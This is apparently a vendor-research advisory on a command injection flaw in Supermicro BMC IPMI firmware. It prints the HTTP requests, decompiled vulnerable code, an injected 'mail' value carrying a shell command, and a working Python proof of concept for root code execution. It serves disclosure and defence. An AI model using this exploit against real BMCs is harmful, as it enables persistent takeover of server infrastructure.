An attacker can exploit this vulnerability to elevate privileges from a user with administrative privileges of IPMI web application to BMC system root. Running arbitrary code on the BMC operating system allows to make the attack persistent during a BMC component reboot and to perform lateral movement within compromised infrastructure, infecting other endpoints.
Binarly REsearch Team has discovered a command injection vulnerability the web server component of Supermicro BMC IPMI firmware, allowing a possible attacker to execute arbitrary code.
An attacker can exploit this vulnerability to elevate privileges from a user with administrative privileges of IPMI web application to BMC system root. Running arbitrary code on the BMC operating system allows to make the attack persistent during a BMC component reboot and to perform lateral movement within compromised infrastructure, infecting other endpoints.
Supermicro BMC IPMI has a feature to send notification/alerts via email. User with administrative privileges can configure this notifications using the web interface via Configuration->Alerts
and SMTP server settings using Configuration->SMTP
menu. As a result of filling out these forms, the requests described below are sent to the backend:
POST /cgi/op.cgi HTTP/1.1
Host: 192.168.0.8
Cookie: SID=pm0Rz8aNwnr3TP3
Csrf_token: 2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io
Content-Length: 110
...
op=config_alert&destination=192.168.0.10&severity=2&[email protected]&sub=test&msg=test&index=0&fun=m&_=
POST /cgi/op.cgi HTTP/1.1
Host: 192.168.0.8
Cookie: SID=pm0Rz8aNwnr3TP3
Csrf_token: 2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io
Content-Length: 127
...
op=config_smtp&auth_en=on&smtpSSL_en=off&smtpaddr=192.168.0.15&smtpport=587&user=test&pwd=test&[email protected]&_=
On the server side, these values are stored and then used to send emails when notification/alert conditions are met. This process can also be triggered manually by selecting the created alert and clicking Send Test Alert
button in the Configuration->Alerts
menu, or directly with this request:
POST /cgi/op.cgi HTTP/1.1
Host: 192.168.0.8
Cookie: SID=pm0Rz8aNwnr3TP3
Csrf_token: 2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io
Content-Length: 29
...
op=send_test_alert&index=0&_=
As a result, the code located at offset 0x7F648
in the libipmi.so
binary is executed.
if ( smtpport ) // if custom SMTP port was specified
port = smtpport;
else
port = 25;
if ( user || pwd ) // if SMTP user or password was specified
_snprintf_chk(
command,
256,
1,
256,
"%s --host=%s --port=%d --timeout=10 --auth=login --user=%s --passwordeval='echo %s' --from=%s %s < %s 2>&1",
msmtp_path, // /bin/msmtp
smtpaddr, // SMTP server host
port, // SMTP server port
user, // SMTP server user
pwd, // SMTP server password
sender, // from email address
mail, // to email address
msg_path); // /tmp/pef.txt
else
_snprintf_chk(
command,
256,
1,
256,
"%s --host=%s --port=%d --timeout=10 --auth=off --from=%s %s < %s 2>&1",
msmtp_path, // /bin/msmtp
smtpaddr, // SMTP server host
port, // SMTP server port
sender, // from email address
mail, // to email address
msg_path); // /tmp/pef.txt
...
j_ipmi_log("email cmd=%s\n", command); // print command to console
v15 = 0;
...
while ( do_popen(command, v24) < 0 ) // execute command
{
v16 = v15++;
j_console_log("msmtp: cannot send email! retry %d\n", v16);
if ( v15 == 3 )
return 0;
}
First, shell command is constructed using the hardcoded msmtp_path
and msg_path
values, as well as other variables, which are user-controlled parameters provided through the previously mentioned requests.The result will vary depending on whether the user specified username/password for SMTP server or not.This command will then be printed to the console and passed to the do_popen
function, where it will be executed using glibc popen
.The user-supplied smtpaddr
, port
, user
, pwd
and sender
values used in building shell commands are checked for bad inputs on the server side, which prevents command injection. But mail
parameter is not properly validated, so exploitaton is possible:
POST /cgi/op.cgi HTTP/1.1
Host: 192.168.0.8
Cookie: SID=pm0Rz8aNwnr3TP3
Csrf_token: 2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io
Content-Length: 138
...
op=config_alert&destination=192.168.0.10&severity=2&[email protected];echo%20BRLY%20>/tmp/poc;cat&sub=test&msg=test&index=0&fun=m&_=
Console output:
email cmd=/bin/msmtp --host=192.168.0.15 --port=587 --timeout=10 --auth=login --user=test --passwordeval='echo test' [email protected] [email protected];echo BRLY >/tmp/poc;cat < /tmp/pef.txt 2>&1
msmtp: cannot connect to 192.168.0.15, port 587: Connection timed out
msmtp: could not send mail
msmtp: send email
SNMP msg=
30 81 02 02 01 00 04 06 70 75 62 6c 69 63 a4 81
10 06 09 2b 06 01 04 01 98 6f 01 01 40 04 c0 a8
2a 1b 02 01 06 02 04 00 00 00 00 43 04 63 eb 1d
ce 30 81 33 30 81 36 06 0a 2b 06 01 04 01 98 6f
01 01 01 04 44 33 31 30 31 4d 53 00 00 00 00 00
00 00 00 00 00 00 0b 2f 40 41 4e ff ff 20 20 02
00 00 00 00 00 00 00 00 00 00 00 00 19 7c 2a 00
/ # cat /tmp/poc
BRLY
Below is the minimum PoC leading to RCE:
import requests
HOST = "192.168.0.8"
PORT = 443
SID_COOKIE = "pm0Rz8aNwnr3TP3"
CSRF_TOKEN = "2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io"
PAYLOAD = "echo BRLY >/tmp/poc"
url = f"https://{HOST}:{PORT}/cgi/op.cgi"
cookies = {"SID": SID_COOKIE}
headers = {"Csrf_token": CSRF_TOKEN, "Referer": f"https://{HOST}:{PORT}/"}
def store_payload():
data = {"op": "config_alert", "destination": "192.168.0.10", "severity": "2", "mail": f"[email protected];{PAYLOAD};cat", "sub": "test", "msg": "test", "index": "0", "fun": "m"}
requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
def trigger_exploit():
data = {"op": "send_test_alert", "index": "0"}
requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
if __name__ == "__main__":
store_payload()
trigger_exploit()
Ideally, user input should not be used in OS commands, instead, platform APIs or functional libraries are recommended. If it is not possible in such case, the mail
parameter must be checked against a whitelist of allowed characters before passing it to popen
.
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
Binarly REsearch Team